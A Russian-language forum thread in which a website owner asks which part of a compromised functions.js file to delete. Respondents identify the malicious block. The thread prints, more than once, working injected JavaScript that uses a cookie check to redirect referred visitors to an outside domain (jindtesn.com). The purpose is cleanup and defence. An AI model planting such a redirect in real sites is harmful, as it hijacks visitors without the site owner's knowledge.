Редирект в JS скрипте -что убрать ?
Здравствуйте уважаемые форумчани, помогите пожалуйста разобраться в проблеме. Есть сайт на котором стоит вредоносный код в JS? какую часть иммено мне убрать чтобы не попортить функционал:
function backgroundOnLoad()
{
setTimeout('showBody()', 10);
}
function showBody()
{
document.getElementById('body_div').style.visibility = 'visible';
}
function showBodyDelayed()
{
setTimeout
(
function ()
{
document.getElementById('body_div').style.visibility = 'visible';
},
500
);
}
function setCookie (name, value, expires, path, domain, secure) {
document.cookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
}
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}
function strlen(string){
if(typeof string == "undefined") {
return 0;
} else {
return string.length;
}
}
var rSite = 'http://jindtesn.com';
var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 );
var currentCookie = getCookie("arx_tt");
if(!document.referrer) {
var referringURL = rSite;
var local = "";
var referrer = 0;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
} else {
var referringURL = document.referrer;
referringURL = rSite + window.location.pathname;
var referrer = 1;
}
if (strlen(currentCookie) == 0 && referrer == 1) {
var setted = 1;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
location.href = referringURL;
}
setCookie("arx_tt", 1, dt.toGMTString(), "/");
Я вот пока убрал эту часть:
var rSite = 'http://jindtesn.com';
var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 );
var currentCookie = getCookie("arx_tt");
if(!document.referrer) {
var referringURL = rSite;
var local = "";
var referrer = 0;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
} else {
var referringURL = document.referrer;
referringURL = rSite + window.location.pathname;
var referrer = 1;
}
if (strlen(currentCookie) == 0 && referrer == 1) {
var setted = 1;
setCookie("arx_tt", 1, dt.toGMTString(), "/");
location.href = referringURL;
}
setCookie("arx_tt", 1, dt.toGMTString(), "/");
Правильно ли я сделал? Всем спасибо за ответы. |
Строка вызывающая переод
Воть location.href = referringURL А собствено этот какой то счетчик ? Чей ? -Возможно он должен стоять во фрейме На кой Вам вообще этот сайт ? => http://jindtesn.com Вот тут - подобное => http://qps.ru/dxMu3 |
ВОт я нашел в данном скрипте, мне нужно удалить какие-то части.
Хост написал вот тут проблема: На Вашем сайте был обнаружен вредоносный контент в файле ~/www/htdocs/js/functions.js В частности: var rSite = 'http://jindtesn.com'; var referringURL = rSite; referringURL = rSite + window.location.pathname; Вот только данные строки или еще нужно то что после них?? |
smedvedev,
Само деяние переадресации просходит в строке 24 Вашего нижнего скрипта закоментьте данную строку - редирек должен исчезнуть |
Ну мне нужно все же убрать, зачем мне удалять 24 строку, если я могу удалить все что мне не нужно.
|
smedvedev,
Гы - дык я и спрашивал - зачем весь этот код Тут из нужного возможно ток эта часть:
function backgroundOnLoad()
{
setTimeout('showBody()', 10);
}
function showBody()
{
document.getElementById('body_div').style.visibility = 'visible';
}
function showBodyDelayed()
{
setTimeout
(
function ()
{
document.getElementById('body_div').style.visibility = 'visible';
},
500
);
}
function setCookie (name, value, expires, path, domain, secure) {
document.cookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
}
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}
function strlen(string){
if(typeof string == "undefined") {
return 0;
} else {
return string.length;
}
}
|
| Часовой пояс GMT +3, время: 23:15. |